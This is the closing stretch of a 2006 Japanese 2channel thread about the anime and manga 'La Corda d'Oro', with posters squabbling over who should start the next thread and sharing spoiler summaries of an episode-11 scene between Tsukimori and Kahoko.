981 :花と名無しさん:2006/12/11(月) 16:14:47 ID:???0
1には番号指定するよう書いてなかったんで書かなかったけど、
脳内ルールまで知らなくてごめんネ

982 :花と名無しさん:2006/12/11(月) 16:15:03 ID:???0
うわ、979さん、ありがとう! 乙です!
980だが、立てなくてよかった…

983 :花と名無しさん:2006/12/11(月) 16:15:50 ID:???0
>>982
ゴメソ
今来てみたら、スレ立ての話が出てたので
宣言もせずにやってしまった
本当にスマソ・・・

984 :花と名無しさん:2006/12/11(月) 16:18:35 ID:???0
>>981
テンプレにはわざわざ書いていないが、2ちゃんの暗黙のルールだよ
それが嫌なら、>>970を踏むな

つくづく月森厨は、自己弁護と他者の攻撃しかできない奴なんだな
>>973にしても
>たたなかった
だけで依頼なし

>>977は同じ人か? そこで初めて頼んでいるが、同時に命令もしている

そんな依頼、初めて見たよ
半年ROMれ

985 :花と名無しさん:2006/12/11(月) 16:19:24 ID:???0
>>981
そういう煽り方ってどうなんだ
973ではただ「たたなかった」しか書いてないだろ
誰か代わりに立ててくださいって言えないのか、って
980は言ってるんじゃない?
脳内ルールがどうのこうの言う前に、自分を振り返れば?

986 :花と名無しさん:2006/12/11(月) 16:19:53 ID:???0
>>983
いいや、おまいさんは悪くない! 何も悪くないぞ! 気にするな!
本当に乙でした!

987 :花と名無しさん:2006/12/11(月) 16:20:08 ID:???0
スレ終わりに近いので梅代わりにアニメ11話の月森シーンの詳細バレ。
その1



自分の順位を気に病み落ち込んだ風情で廊下を歩いてくる香穂子。
掲示板の前にさしかかり、順位発表の張り紙の前にひとり佇む。
「私、本当は二位なんかじゃない」とモノローグ。

反対側から月森が歩いてきて、香穂子の姿に気がつく。
「日野?」と呟き、前回の香穂子の言葉を思い返す。
「それなのに月森君の演奏に意味がないなんて、そんなこと言わないでよ」
「あ…」と何か思い当たったような月森、そのまま香穂子に近づく。

月森「何をしているんだ」
香穂子「こんなのおかしいよね」
香穂子「月森君にあんなことが」
月森を振り返って言い募ろうとする香穂子を遮るように、
「結果は結果だ。君は二位で俺は最下位。結果が全てだ」
香穂子「でも…」と言い募ろうとする香穂子に「これまで努力した結果だ。誇っていい」
香穂子「…あ」
月森、視線を香穂子から掲示板に移して
「しかしそれはもう過去の話だ。第三セレクションは俺が優勝する」
月森を見上げる香穂子。
月森「君も下らないことを考えている暇があったら、練習したらどうだ」
香穂子「う、うん」
去って行く月森、それを視線で追いかける香穂子。
ここでAパート終了。

988 :花と名無しさん:2006/12/11(月) 16:21:03 ID:???0
うわーん!
このスレきもいよー!!

989 :花と名無しさん:2006/12/11(月) 16:21:38 ID:???0
スレ終わりに近いので梅代わりにアニメ11話の月森シーンの詳細バレ。
その2.




Bパート冒頭。
屋上への階段を上って行く香穂子。
まだなんかすっきりしない感じで「下らないこと、か…」とモノローグ。
そこでハッとした表情になり、「もしかして月森君、励ましてくれた?」
「まさかね。あの月森君が」と思いながら屋上のドアを開け、
空を見上げる香穂子。
「まさかね」と言いつつも、「励ましてくれた?」と思う前より
ずっと表情は明るくなっている。



こんな感じですた。

990 :花と名無しさん:2006/12/11(月) 16:23:00 ID:???0
もういいよ。
このスレはムリだ
IDでない場所は大抵酷いけど、ここまで酷いのは難民レベルなんで
まぁ、言いたいことをお互い言って、
受け容れられないものには一切レスしないのが一番平和だ

991 :花と名無しさん:2006/12/11(月) 16:23:02 ID:???0
>>985
980だが、その通りの意味でした
ただ「たたなかった」しか書いてないのに呆然…
977では禁止とか命令までしているし

>>987 >>989
こちらも乙です

992 :花と名無しさん:2006/12/11(月) 16:24:47 ID:???0
939だが、トン
結構記憶違いがあったな
つか脳内補完しすぎた

993 :花と名無しさん:2006/12/11(月) 16:26:51 ID:???0
アニメ、結構いいエピソードを入れているな。
漫画でも読みたかった〜!

994 :花と名無しさん:2006/12/11(月) 16:28:31 ID:???0
>>980 気にすんな。おまいさんも乙!

>>979もスレ立てありがトン!

995 :花と名無しさん:2006/12/11(月) 16:34:17 ID:???0
>>979
乙でした
いいネタせりふが思いつかんのでこっちですまん

996 :花と名無しさん:2006/12/11(月) 16:59:12 ID:???0
>>995
そんなおまいさんがいとしいww

997 :花と名無しさん:2006/12/11(月) 17:19:20 ID:???0
とりあえず、レスした人をどうこう言うのはスレを荒らす原因なんで
止めて欲しいなと思う。
月森擁護の人が〜とか言ってた人たち、気がついてないだろうけど、
端から見たら同罪だからね。

998 :花と名無しさん:2006/12/11(月) 17:22:38 ID:???0
同意
反論あるなら内容にレスすればいいのに
どっちも見苦しいなと思った

999 :花と名無しさん:2006/12/11(月) 17:39:00 ID:???O
こんなんじゃとてもじゃないけど萌え話なんて出来る雰囲気じゃないなぁ

スレ立て乙でした

1000 :花と名無しさん:2006/12/11(月) 17:41:58 ID:???O
1000なら次スレはマターリ進行で平和な場所になる

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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